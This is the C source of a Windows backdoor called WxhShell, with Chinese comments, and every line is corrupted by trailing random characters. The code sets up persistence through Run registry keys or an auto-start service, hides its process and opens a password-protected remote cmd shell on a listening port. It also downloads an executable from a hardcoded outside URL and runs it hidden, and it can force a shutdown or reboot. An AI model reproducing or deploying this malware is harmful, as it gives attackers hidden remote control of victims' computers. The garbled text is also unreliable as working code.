    if(Boot(SHUTDOWN)) G:<`moKgL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); io,M{Ib  
    else { i-bJS6  
    closesocket(wsh); wB.Nn/p  
    ExitThread(0); K) qF+Vb^j  
    } m<{< s T  
    break; .jS~By|r  
    } #k_HN}B  
  // 获取shell $Z|ffc1  
  case 's': { fQ/ 0R  
    CmdShell(wsh); hQ]H /+\  
    closesocket(wsh); JAAI_gSR3  
    ExitThread(0); 1"/He ` 4  
    break;  yyv8gH  
  } m-H-6`]  
  // 退出 9;Itqe{8w  
  case 'x': { Gqcq,_?gt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T32+3wb"I  
    CloseIt(wsh); _Dym{!t  
    break; f@8>HCI  
    } Vl_:c75"  
  // 离开 }@Ge}9$ h  
  case 'q': { &krwf ]|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0@G")L Ue0  
    closesocket(wsh); b7!Qn}  
    WSACleanup(); r`AuvwHPs[  
    exit(1); RE =`  
    break; 2kdC]|H2?  
        } nA P.^_K  
  } L,mQ   
  } PH?#)l D  
} @K FB  
  // 提示信息 hF@Gn/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pX&pLaF  
} LEW'G"+  
  } BZud) l24  
$ "E).j  
  return; 8wVY0oRnU  
} uHAT#\m:  
"*LD 3  
// shell模块句柄 bHg,1y)UC  
int CmdShell(SOCKET sock) 8>X d2X  
{ dDm):Z*`b  
STARTUPINFO si; kGdt1N[  
ZeroMemory(&si,sizeof(si)); 66.5QD0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0j30LXI_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T/^Hz4uA7  
PROCESS_INFORMATION ProcessInfo; Jrg2/ee,*  
char cmdline[]="cmd"; U+)xu>I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3 dht!7/  
  return 0; _<a7CCg  
} 9uRF nzJVx  
BT)X8>ct  
// 自身启动模式 D[_|*9BC  
int StartFromService(void) -8r  
{ ~><^'j[  
typedef struct T:/,2.l  
{ 3 n'V\H vz  
  DWORD ExitStatus; A,%C,*)Cg  
  DWORD PebBaseAddress; Hir Fl  
  DWORD AffinityMask; D8>enum  
  DWORD BasePriority;  EI_  
  ULONG UniqueProcessId; @y82L8G/  
  ULONG InheritedFromUniqueProcessId; wY~&Q}U  
}   PROCESS_BASIC_INFORMATION; 1Ab>4UhD  
C8 vOE`U,J  
PROCNTQSIP NtQueryInformationProcess; 4'-|UPhx  
OE4+GI.r-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]8icBneA~'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |N}P(GF  
:JfE QIN  
  HANDLE             hProcess; DXa=|T  
  PROCESS_BASIC_INFORMATION pbi; 0 ;b[QRmy  
b&=5m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wk6NG/<  
  if(NULL == hInst ) return 0; ;9~6_@,@o  
yU8{i&w4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IkrF/$r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hGbj0   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '@jXbN  
DyQM>xw)t  
  if (!NtQueryInformationProcess) return 0; Wx~k&[&E  
<{2e#Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !-N6l6N  
  if(!hProcess) return 0; X66VU  
]d a^xWK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; INkD=tX  
?Y:8eD"*  
  CloseHandle(hProcess); zN{K5<7o  
\0mb 3Q'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~(pmLZ<GW}  
if(hProcess==NULL) return 0; ~v'3"k6  
' v\L @"  
HMODULE hMod; 7zHh@ B:]  
char procName[255]; jCrpL~tWT  
unsigned long cbNeeded; H|ER  
srYJp^sC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^bc;[x&N  
c%[#~;E  
  CloseHandle(hProcess); KN?6;G{  
ithewup  
if(strstr(procName,"services")) return 1; // 以服务启动 LwhyE:1  
)13dn]o=2  
  return 0; // 注册表启动 D K=cVpN%s  
} BCe|is0  
&Ch#-CUE/  
// 主模块 :.?gHF.?  
int StartWxhshell(LPSTR lpCmdLine) !2z?YZhu  
{ AgRjr"hF*e  
  SOCKET wsl; 1fo U  
BOOL val=TRUE; IBQ@{QB  
  int port=0; +&Hr4@pgW  
  struct sockaddr_in door; jMbC Y07v  
o$[z],RO  
  if(wscfg.ws_autoins) Install(); !!4Qj  
V^hE}`>z&  
port=atoi(lpCmdLine); E[O<S B I  
n @?4b8"  
if(port<=0) port=wscfg.ws_port; _:X|.W  
p|Q*5TO  
  WSADATA data; !<UJ6t}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7C$ 5  
cZ(elZ0~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0b/WpP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "H&"(=  
  door.sin_family = AF_INET; -AhwI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t\RF=BbJJ  
  door.sin_port = htons(port); B%KG3]  
6<N5_1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?W( 6  
closesocket(wsl); lip[n;Ir>  
return 1; 8[|UgI,>z  
} 4n %?YQ[t  
kKPi:G52F  
  if(listen(wsl,2) == INVALID_SOCKET) { u(OW gbA3  
closesocket(wsl); eL4NB$Fb  
return 1; "wlt> SU  
}  f>s?4  
  Wxhshell(wsl); r}0\}~'?c  
  WSACleanup(); ?H_ LX;r  
[! 'op0  
return 0; #U*_1P0h  
`Pw*_2  
} :>aQ~1f>]  
#-8\JEn  
// 以NT服务方式启动 MwfOy@|N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }lK3-2Pk  
{ gJ;_$`  
DWORD   status = 0; L:(1ZS  
  DWORD   specificError = 0xfffffff; Yp0/Ab(v  
%0 #XPc("  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r?CI)Y;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0QvT   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; , =aJVb=C  
  serviceStatus.dwWin32ExitCode     = 0; ifo7%XPcg  
  serviceStatus.dwServiceSpecificExitCode = 0; 'S[++w?Qq  
  serviceStatus.dwCheckPoint       = 0; RJy=pNztm  
  serviceStatus.dwWaitHint       = 0; VR  
ltkI}h,e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RZe'Kw -  
  if (hServiceStatusHandle==0) return; =C L} $_  
1yV: qp  
status = GetLastError(); wZ4tCZA  
  if (status!=NO_ERROR) sz @p_Z/  
{ A<\JQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A/7X9ir  
    serviceStatus.dwCheckPoint       = 0; H33i*][H  
    serviceStatus.dwWaitHint       = 0; Ne $"g[uFU  
    serviceStatus.dwWin32ExitCode     = status; ?=VOD#)  
    serviceStatus.dwServiceSpecificExitCode = specificError; p~.8\bI=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hoT/KWD,  
    return; fK&e7j`qO  
  } @:tj<\G]  
G&;j6<hl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  be e5  
  serviceStatus.dwCheckPoint       = 0; LTJc,3\,  
  serviceStatus.dwWaitHint       = 0; % aUsOB-RV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >HPdzLY?  
} DAg58 =qJ  
RNPbH.  
// 处理NT服务事件,比如:启动、停止 66#"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7~ztwL  
{ +fx8muz:y  
switch(fdwControl) }Z TGi,P c  
{ ^1Xt]T`e  
case SERVICE_CONTROL_STOP: }n7t h  
  serviceStatus.dwWin32ExitCode = 0; bu&t'?z x!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aF|d^  
  serviceStatus.dwCheckPoint   = 0; `z0{S!  
  serviceStatus.dwWaitHint     = 0; XE3'`D !  
  { 5/gDK+%4D(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dq IlD!  
  } eZr&x~] -w  
  return; =<@\,xN>C  
case SERVICE_CONTROL_PAUSE: _SACqamo5s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JlKM+UE :  
  break; ^E6d`2w-  
case SERVICE_CONTROL_CONTINUE: },5'z {3E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >K# ,cxY  
  break; =`Y.=RL+'n  
case SERVICE_CONTROL_INTERROGATE: Y~)T  
  break; ^uS/r#l  
}; OG3/-K8R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b dJ+@r  
} E42eOGp9i  
]APvp.Tw:  
// 标准应用程序主函数 dr{y0`CCN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -[OXSaf6  
{ Omi^>c4G  
?EU\}N J  
// 获取操作系统版本 D;Gq)]O  
OsIsNt=GetOsVer(); OzT#1T1'c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `o79g"kxe  
!:LJzROh  
  // 从命令行安装 4yaxl\2  
  if(strpbrk(lpCmdLine,"iI")) Install(); T\VNqs@  
x90jw$\%7  
  // 下载执行文件 *?yJkJ"  
if(wscfg.ws_downexe) { .$", *d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'SLE;_TD  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3`HnLD/  
} )'Wb&A'  
e75UMWaeC  
if(!OsIsNt) { JK#vkCkyM  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ufo>|A6;$  
HideProc(); 5FC4@Ms`  
StartWxhshell(lpCmdLine); 2JmZ{  
} JNWg|Qt  
else K?#]("De6  
  if(StartFromService()) /w]&t\]*  
  // 以服务方式启动 k:A|'NK~  
  StartServiceCtrlDispatcher(DispatchTable); "0jJh^vk  
else kW6%32  
  // 普通方式启动 +*&cz  
  StartWxhshell(lpCmdLine); E)ugLluL  
]WJfgN4  
return 0; IfDx@?OB  
}  .Qt4&B  
PiLJZBUv  
5 / m$)wE  
<-UOISyf  
=========================================== J NC  
n,P5o_^:  
iy\KzoB  
:9l51oE7  
\g-j9|0  
,`td@Y  
" g"Q h]:  
Oajv^H,Em  
#include <stdio.h> %Hi~aRz  
#include <string.h> |!d"*.Q@F  
#include <windows.h> =A[5= k>  
#include <winsock2.h> tPHS98y  
#include <winsvc.h> 1'6cGpZY  
#include <urlmon.h> +c206.  
o%M<-l"!/  
#pragma comment (lib, "Ws2_32.lib") Bk|K%K  
#pragma comment (lib, "urlmon.lib") Nq8@Nyp  
>s*DrfX6  
#define MAX_USER   100 // 最大客户端连接数 < /p 8r  
#define BUF_SOCK   200 // sock buffer Mo|wME#M  
#define KEY_BUFF   255 // 输入 buffer v4*rPGv  
% U`xu.  
#define REBOOT     0   // 重启 ~3WL)%  
#define SHUTDOWN   1   // 关机 N~=A  
[A~G-  
#define DEF_PORT   5000 // 监听端口 icUT<@0  
*QE<zt  
#define REG_LEN     16   // 注册表键长度 Z& !!]"I  
#define SVC_LEN     80   // NT服务名长度 j?(!^ _!m  
sCH)gr@gJ^  
// 从dll定义API v.Ogf 5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zu<]bv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s[3fqdLP&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,[48Mspp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H!IDV }dn  
i4Z4xTn  
// wxhshell配置信息 >tRHNB_  
struct WSCFG { i 6no;}j  
  int ws_port;         // 监听端口 =N.!k Vkl  
  char ws_passstr[REG_LEN]; // 口令 {^q)^<#JT  
  int ws_autoins;       // 安装标记, 1=yes 0=no (!K+P[g  
  char ws_regname[REG_LEN]; // 注册表键名 NVIWWX9?  
  char ws_svcname[REG_LEN]; // 服务名 c^I0y!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #] KgUc5B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8IY19>4'5J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3" Vd==oK~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e(\I_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'Am-vhpm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rjojG59U>  
'u[%}S38  
};  ;\b@)E}  
(fk5'  
// default Wxhshell configuration "-i#BjZl/  
struct WSCFG wscfg={DEF_PORT, yFIIX=NC  
    "xuhuanlingzhe", /Ic[N&  
    1, OHp5z? z  
    "Wxhshell", R"6;NPeo  
    "Wxhshell", v"1Po_`  
            "WxhShell Service", =fG:A(v%}  
    "Wrsky Windows CmdShell Service", J=WB6zi  
    "Please Input Your Password: ", setL dEi  
  1, o$_93<zc  
  "http://www.wrsky.com/wxhshell.exe", cqL(^R.  
  "Wxhshell.exe" E'dX)J9e$/  
    }; ^)\+l%M  
`ti8-  
// 消息定义模块 delf ]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r4k nN 2:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f{Qp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]W9B6G_  
char *msg_ws_ext="\n\rExit."; 4~u9B/v  
char *msg_ws_end="\n\rQuit."; G!-J$@P  
char *msg_ws_boot="\n\rReboot..."; 13f<0wg  
char *msg_ws_poff="\n\rShutdown..."; lH1g[ ))  
char *msg_ws_down="\n\rSave to "; .gD km^  
Enj_tJs  
char *msg_ws_err="\n\rErr!"; .|]IwyD &  
char *msg_ws_ok="\n\rOK!"; $B _Nc*_e  
SPwPCI1?  
char ExeFile[MAX_PATH]; 6$ e]i|e  
int nUser = 0; (r F?If  
HANDLE handles[MAX_USER]; d /j@_3'  
int OsIsNt; 5:gj&jt;)7  
QUP|FIpZ  
SERVICE_STATUS       serviceStatus; ( tn< VK.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h`?k.{})M  
!$kR ;Q"/  
// 函数声明 jXcNAl  
int Install(void); B?(4f2yE  
int Uninstall(void); oX|?:MS:  
int DownloadFile(char *sURL, SOCKET wsh); QrS$P09=\  
int Boot(int flag); __)qw#  
void HideProc(void); };SV!'9s?~  
int GetOsVer(void); YOw?'+8  
int Wxhshell(SOCKET wsl); :EB,{|m  
void TalkWithClient(void *cs); dB)9K)  
int CmdShell(SOCKET sock); %,?vyY  
int StartFromService(void); #<#%>Y^  
int StartWxhshell(LPSTR lpCmdLine); do' ORcZ  
x;U|3{I o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j+>Q#&h9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LZV}U*  
/yK"t< p  
// 数据结构和表定义 &va*IR  
SERVICE_TABLE_ENTRY DispatchTable[] = YX;nMyD?~  
{ FzhT$7Gw  
{wscfg.ws_svcname, NTServiceMain}, iG-N  
{NULL, NULL} C_-E4I Z)  
}; gM, &Spn  
QMb^&?;s  
// 自我安装 5b fb!7-[i  
int Install(void) 5c;En6W  
{ AN10U;p/O  
  char svExeFile[MAX_PATH]; Ruj.J,  
  HKEY key; uC[d%v`  
  strcpy(svExeFile,ExeFile); WZ"W]Jyy{  
on5 0+)uN  
// 如果是win9x系统,修改注册表设为自启动 J#@lV  
if(!OsIsNt) { zPBfiK_hV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .eTk=i[N-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); okDJ(AIV+  
  RegCloseKey(key); wP`sXPSmIu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  coAW9=o}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eBvW#Hzp  
  RegCloseKey(key); Z3`2-r_=  
  return 0; }xJR.]).KW  
    } C1ZyB"{  
  } \^s2W:c  
} +2yF|/WW#  
else { 'z](xG<  
Mdm0g  
// 如果是NT以上系统,安装为系统服务 wT% "5:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A;t zRe  
if (schSCManager!=0) }} #be  
{ dJE`9$jN  
  SC_HANDLE schService = CreateService ;+9(;  
  ( EE9vk*[@C  
  schSCManager, 3{q[q#"  
  wscfg.ws_svcname, `oPLl0  
  wscfg.ws_svcdisp, aH^{Vv$]M@  
  SERVICE_ALL_ACCESS, tQf!|]#J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j@SYXKL~  
  SERVICE_AUTO_START, 4tnjXP8  
  SERVICE_ERROR_NORMAL, ;_p fwa4  
  svExeFile, \CwtX(6.  
  NULL, C2 .W[T  
  NULL, jMqx   
  NULL, F,.Q|.nN  
  NULL, *I/A,#4r  
  NULL gPp(e j7  
  ); /.)2d8,  
  if (schService!=0) )-)pYRlO  
  { ,5:![  
  CloseServiceHandle(schService); ' 3VqkQ4  
  CloseServiceHandle(schSCManager); PC0HH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4L11P  
  strcat(svExeFile,wscfg.ws_svcname); iP,v=pS6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?q6Z's[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8E 9{ Gf  
  RegCloseKey(key); o oDdV >  
  return 0; A`Q >h{  
    } }bCK  
  } uDI}R]8~  
  CloseServiceHandle(schSCManager); .xo_}Vw  
} QA!#s\  
} ~}9Bn)@  
c-`37. J  
return 1; r8F{A6iN  
} Mb~~A5  
b_ZNI0Hp@  
// 自我卸载 Seg#s.  
int Uninstall(void) k!9=  
{ " Ac~2<V  
  HKEY key; ;9vIa7L&  
PJ0Jjoh"Y  
if(!OsIsNt) { 6."PS4}:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EqoASu  
  RegDeleteValue(key,wscfg.ws_regname); g@}6N.]#  
  RegCloseKey(key); _ Q{T';  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W1;=J^<&1  
  RegDeleteValue(key,wscfg.ws_regname); C|9[Al  
  RegCloseKey(key); =!YP$hfY  
  return 0; pOX$4$VR<  
  } eL_^: -   
} Jxf}b}^T  
} %B0w~[!4}  
else { |FjBKj  
s9G)Bd 8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oFb\T iLu  
if (schSCManager!=0) &b!vWX1N  
{ L2<+#O#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Mc!2mE%47m  
  if (schService!=0) ),M U+*`  
  { QYH."7X >  
  if(DeleteService(schService)!=0) { tz"5+uuu  
  CloseServiceHandle(schService); (;C$gnr.C  
  CloseServiceHandle(schSCManager); 2c"/QT  
  return 0; A0UV+ -PP  
  } 5d%_Wb'  
  CloseServiceHandle(schService); 8F\~Wz7K  
  } m'3OGvd  
  CloseServiceHandle(schSCManager); [#7D~Lx/  
} F68},N>vr@  
} i]LU4y %'  
XNKtL]U}$  
return 1; T\)dt?Tv#\  
} 5"$e=y/  
~37R0`C  
// 从指定url下载文件 48H5_9>:  
int DownloadFile(char *sURL, SOCKET wsh) loR,XW7z  
{ >G<4R o"  
  HRESULT hr; f_~}X#._  
char seps[]= "/"; =obt"K%n  
char *token; PIgGXNo  
char *file; 'w'Dwqhmr  
char myURL[MAX_PATH]; U 7EHBW  
char myFILE[MAX_PATH]; V/@[%w=  
-e &$,R>;  
strcpy(myURL,sURL); ]"C| qR*  
  token=strtok(myURL,seps); YGfA qI y  
  while(token!=NULL) ;tXB46  
  { 0&.LBv8  
    file=token; zoR,RBU6  
  token=strtok(NULL,seps); $xLEA\s  
  } x`Vy<h 33  
4u@yJ?U  
GetCurrentDirectory(MAX_PATH,myFILE); \)uy"+ Z`  
strcat(myFILE, "\\"); /]pX8 d  
strcat(myFILE, file); _RN/7\  
  send(wsh,myFILE,strlen(myFILE),0); ) )fDOJ  
send(wsh,"...",3,0); dko[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZYrKG+fkl  
  if(hr==S_OK) XCW+ pUX  
return 0; ( P  
else v!nm &"  
return 1; N-]\oMc2  
k,a,h^{}j  
} Lr K9F^c  
'Na|#tPYI  
// 系统电源模块 BT&rp%NO6l  
int Boot(int flag) czXI?]gg,  
{ Ngn\nkf  
  HANDLE hToken; ;Gjv9:hUn  
  TOKEN_PRIVILEGES tkp; jB*9 !xrd,  
5}<.1ab3V  
  if(OsIsNt) { z\X60T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H?rSP0.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cZPbD;e:  
    tkp.PrivilegeCount = 1; 1-4   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^nG1/}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =~,$V<+c  
if(flag==REBOOT) { %{N>c:2I$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rh!L'? C  
  return 0; emGV]A%nss  
} ; :v]NZtc  
else { Q,[rrG;?@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }~7H2d);-  
  return 0; R tXF  
} .q AQP L  
  } ~,(0h:8  
  else { 113Z@F  
if(flag==REBOOT) { SIKk|I)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I@8+k&nXS  
  return 0; v]LFZI5  
} fs]#/*RR  
else { *uk \O]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wJ;9),fL  
  return 0; J`U$b+q6  
} =g{_^^n  
} F2Nb5WT  
:6\-9m8JM  
return 1; 1C^HCIH7J  
} jEC'l]l  
HV]~=Bw2I  
// win9x进程隐藏模块 u i s:\Uc  
void HideProc(void) T=hm#]   
{ m]+X }|  
 9'L1KQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^N*pIVLC  
  if ( hKernel != NULL ) |HKHN? )  
  { 8cYuzt]..  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @c.11nfn`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $bF`PGR_  
    FreeLibrary(hKernel); YHwVj?6W  
  } BDv|~NHs  
eZa3K3^  
return; &4ug3  
} !?tu! M<1?  
$i1>?pb3  
// 获取操作系统版本 Hl4vLx@  
int GetOsVer(void) &F@tmM~  
{ '=@-aVp  
  OSVERSIONINFO winfo; _*OaiEL+:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aufcd57  
  GetVersionEx(&winfo); b;&Yw-\nZ;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `Gy>tD.#V-  
  return 1; XnNOj>!  
  else Z_eqM4{  
  return 0; Mt7X<?GZm  
} #R"9)vHp  
]5qjK~,4b  
// 客户端句柄模块 brp N >\  
int Wxhshell(SOCKET wsl) >X@.f1/5X  
{ zWKrt.Dg  
  SOCKET wsh; bi4^ zaCEE  
  struct sockaddr_in client; 7;$L&X  
  DWORD myID; bUipp\[aV  
>o=axZNa  
  while(nUser<MAX_USER) (_s!,QUe  
{ D 9@<#2-  
  int nSize=sizeof(client); ~@a) E+LsF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W2X+N acD  
  if(wsh==INVALID_SOCKET) return 1; vl#V-UW$4P  
9fr&Yb=_o@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <E(-QJ  
if(handles[nUser]==0) o$qFa9|Ec?  
  closesocket(wsh); Yp?a=R  
else qqO10~Xc  
  nUser++; 8&`T<ECq>  
  } .q|xMS}4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !T&u2=`D  
_3FMQY(  
  return 0; p!rG PyGC  
} >E 2WZHzd2  
u:{. Hn`  
// 关闭 socket   t`&s  
void CloseIt(SOCKET wsh) .n ^O)|Z  
{ `gA5P %  
closesocket(wsh); R,(+NT$  
nUser--; .[eSKtbc)  
ExitThread(0); FHnHhB[  
} SbQ{ >  
ni02N3R  
// 客户端请求句柄 lzQ&)7`  
void TalkWithClient(void *cs) fR{WS:Pv  
{ ":ws~Zep  
=^".{h'-  
  SOCKET wsh=(SOCKET)cs; ^HU=E@  
  char pwd[SVC_LEN]; m-pIFL<^N  
  char cmd[KEY_BUFF]; I{X@<o}  
char chr[1]; ./5MsHfbxt  
int i,j; sB*h`vs0T  
[))2u:tbS\  
  while (nUser < MAX_USER) { 'KW+Rr~tZn  
7u&H*e7  
if(wscfg.ws_passstr) { a7 '\*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O.m.]%URW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k%bTs+] *  
  //ZeroMemory(pwd,KEY_BUFF); (HP={MrV  
      i=0; "p_[A  
  while(i<SVC_LEN) { 5"Xo R)  
6b1 Uj<  
  // 设置超时 "}azC|:5  
  fd_set FdRead; R}=]UOqH-  
  struct timeval TimeOut; m<VL19o>R  
  FD_ZERO(&FdRead); B+e~k?O]1  
  FD_SET(wsh,&FdRead); a} Iz  
  TimeOut.tv_sec=8; D-;43>yi<  
  TimeOut.tv_usec=0; ='l6&3X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E`Zh\u)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5E!|on  
a6K$omu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4QN6BZJ5  
  pwd=chr[0]; 4 9+}OIX  
  if(chr[0]==0xd || chr[0]==0xa) { c+ H)1Dfq  
  pwd=0; n*]x02:LjZ  
  break; A5 J#x6@  
  } /(}l[jf  
  i++; kQ:>j.^e  
    } E<.{ v\  
JjL0/&  
  // 如果是非法用户,关闭 socket Y_ u7 0@`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?\ i,JJO  
} 39^uLob  
;kcFQed\w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xdSj+507  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i OA3x 8J  
v+, w{~7RH  
while(1) { A_dYN?^?|  
{~ vPq  
  ZeroMemory(cmd,KEY_BUFF); OTr!?xi  
085 ^!AZ  
      // 自动支持客户端 telnet标准   "nS{ ;:  
  j=0; vcUM]m8k   
  while(j<KEY_BUFF) { -1Ki7|0,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z@40 g)R2A  
  cmd[j]=chr[0]; SZ1pf#w!  
  if(chr[0]==0xa || chr[0]==0xd) { _[6+FdS],  
  cmd[j]=0; FV<^q|K/(]  
  break; l[ OQo|_  
  } L``mF(R^  
  j++; =dJEcC_J  
    } Mdq'> <ajL  
N_~Wu  
  // 下载文件 $[9V'K  
  if(strstr(cmd,"http://")) { Nl>b'G96  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7B>cmi  
  if(DownloadFile(cmd,wsh)) pLFL6\{g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @;-Un/'C;7  
  else UmHb-uk ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sr-^faL  
  } kA$;vbm  
  else { REe%>|   
@ F"ShT0  
    switch(cmd[0]) { (%^TTe  
  !N2 n@bo  
  // 帮助 <Ucfd G&Lp  
  case '?': { uY#58?>'j  
